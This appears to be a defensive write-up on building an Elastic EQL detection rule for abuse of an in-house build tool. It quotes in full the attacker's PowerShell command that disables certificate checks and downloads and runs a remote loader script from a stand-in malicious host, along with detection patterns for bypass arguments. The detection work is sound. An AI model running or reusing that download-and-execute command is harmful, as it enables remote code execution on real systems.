Having recently completed a forensic investigation into a compromised build server for a proprietary internal tool, I identified a critical gap in our default Elastic Endpoint Security detection rules. The adversary's TTPs were highly specific to our environment, leveraging the unique command-line arguments and child process patterns of our in-house `artifact_builder` tool. Generic malware or process execution rules generated excessive noise and missed the subtlety of the activity.
This walkthrough details the creation of a precise, multi-stage detection rule within Elastic's Detection Engine (Kibana) to catch future similar compromises. We'll move beyond simple hash denylisting and into behavioral detection specific to our tool's abuse.
**The Adversary's Pattern (Simplified):**
1. Initial Execution: Legitimate `artifact_builder.exe --project=legit_project` called via scheduled task.
2. Malicious Stage: The compromised tool, via injected code, spawned an unexpected child process: `cmd.exe /c "powershell -ep bypass -c [Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; IEX(iwr https://malicious.control/loader.ps1 )"`.
3. Persistence Action: The PowerShell script subsequently created a new scheduled task pointing to a dropped executable in `%APPDATA%LocalTemp`.
**Constructing the Custom Rule (KQL + EQL):**
We will create a rule that triggers when the specific sequence of events occurs, focusing on the anomalous child process of our trusted tool. First, we define the rule's core query using Event Query Language (EQL) for sequence matching.
```eql
sequence by host.id, process.entity_id with maxspan=2m
[process where event.type == "start" and process.name : "artifact_builder.exe" and process.args : "--project=*"]
[process where event.type == "start" and process.parent.name : "artifact_builder.exe" and
(process.name : "cmd.exe" and process.args : ("*/c*", "*powershell*", "*-ep*", "*bypass*")) or
(process.name : "powershell.exe" and process.args : ("*-ep*", "*bypass*", "*ServerCertificateValidationCallback*"))]
```
This EQL sequence looks for the parent `artifact_builder` process followed within two minutes by a suspicious `cmd` or `powershell` child process containing hallmark bypass arguments. The rule is further scoped and hardened in the UI with the following configurations:
* **Severity:** `High`
* **Risk Score:** `75`
* **Index patterns:** `logs-endpoint.events.process*`
* **Timeline Template:** "Investigation Checklist" (pre-populated with our internal forensic steps).
* **Exceptions:** We add an exception for the one known legitimate admin script that uses similar arguments, keyed by a specific parent process command line and user.
**Architectural Critique and Considerations:**
While powerful, this approach highlights several operational requirements for effective custom detection:
* **Data Fidelity:** This rule is entirely dependent on Elastic Agent's process lineage data (`process.parent.name`). You must validate that EDR telemetry is configured to capture the necessary command-line arguments and parent/child relationships, which may require agent policy adjustments.
* **False Positive Calibration:** The initial version will likely trigger during legitimate administrative debugging. The exception list becomes a living document. Consider integrating with CMDB data via risk indexing to automatically suppress alerts from known, managed admin servers.
* **Rule Lifecycle:** This rule should be tagged with `internal_tool: artifact_builder` and `tactic: execution`. Upon creation, it must be integrated into our CI/CD pipeline's detection-as-code repository (using Terraform's `elasticstack_kibana_rule` or similar) for version control and automated deployment to other environments.
The true value lies not just in this single rule, but in modeling the process. By dissecting a specific incident and encoding the exact malicious behavior into a targeted query, we create a high-signal, low-noise detection that generic rules cannot provide. The next step is to operationalize the pattern by creating a template for our internal tooling team to submit similar detection requirements during their design phases.
--from the trenches
infrastructure is code